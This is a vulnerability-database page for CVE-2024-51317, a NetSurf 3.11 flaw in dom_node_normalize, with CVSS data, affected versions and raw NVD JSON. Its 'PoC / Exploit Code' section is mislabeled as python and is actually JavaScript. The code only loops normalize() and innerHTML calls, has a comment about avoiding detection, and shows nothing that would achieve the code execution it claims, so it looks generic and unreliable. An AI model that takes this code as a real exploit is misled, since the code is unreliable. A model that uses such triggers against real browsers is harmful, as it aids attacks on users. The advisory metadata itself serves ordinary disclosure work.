Security Vulnerability Report
中文
CVE-2024-51317 CVSS 6.5 MEDIUM

CVE-2024-51317

Published: 2025-11-03 15:15:33
Last Modified: 2025-11-05 18:19:02

Description

An issue in NetSurf v.3.11 allows a remote attacker to execute arbitrary code via the dom_node_normalize function

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:netsurf-browser:netsurf:3.11:*:*:*:*:*:*:* - VULNERABLE
NetSurf < 3.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2024-51317 PoC - NetSurf dom_node_normalize RCE // This PoC demonstrates triggering the vulnerability through DOM manipulation // Create a div element const targetDiv = document.createElement('div'); document.body.appendChild(targetDiv); // Create text nodes to trigger normalize operation const textNode1 = document.createTextNode('AAAA'); const textNode2 = document.createTextNode('BBBB'); const textNode3 = document.createTextNode('CCCC'); // Append text nodes to target element targetDiv.appendChild(textNode1); targetDiv.appendChild(textNode2); targetDiv.appendChild(textNode3); // Create nested structure to trigger vulnerability for(let i = 0; i < 100; i++) { const newDiv = document.createElement('div'); newDiv.appendChild(document.createTextNode('X')); targetDiv.appendChild(newDiv); } // Trigger normalize operation multiple times for(let i = 0; i < 1000; i++) { targetDiv.normalize(); } // Alternative trigger method using innerHTML manipulation for(let i = 0; i < 500; i++) { targetDiv.innerHTML += '<span>DATA</span>'; targetDiv.normalize(); } // Cleanup to avoid detection console.log('PoC executed');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-51317", "sourceIdentifier": "[email protected]", "published": "2025-11-03T15:15:32.820", "lastModified": "2025-11-05T18:19:01.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in NetSurf v.3.11 allows a remote attacker to execute arbitrary code via the dom_node_normalize function"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:netsurf-browser:netsurf:3.11:*:*:*:*:*:*:*", "matchCriteriaId": "EA529B87-24A0-4813-B08D-9E3B3DD7D6C2"}]}]}], "references": [{"url": "https://github.com/Fysac/netsurf-disclosure/tree/main/CVE-2024-51317", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.netsurf-browser.org/", "source": "[email protected]", "tags": ["Product"]}]}}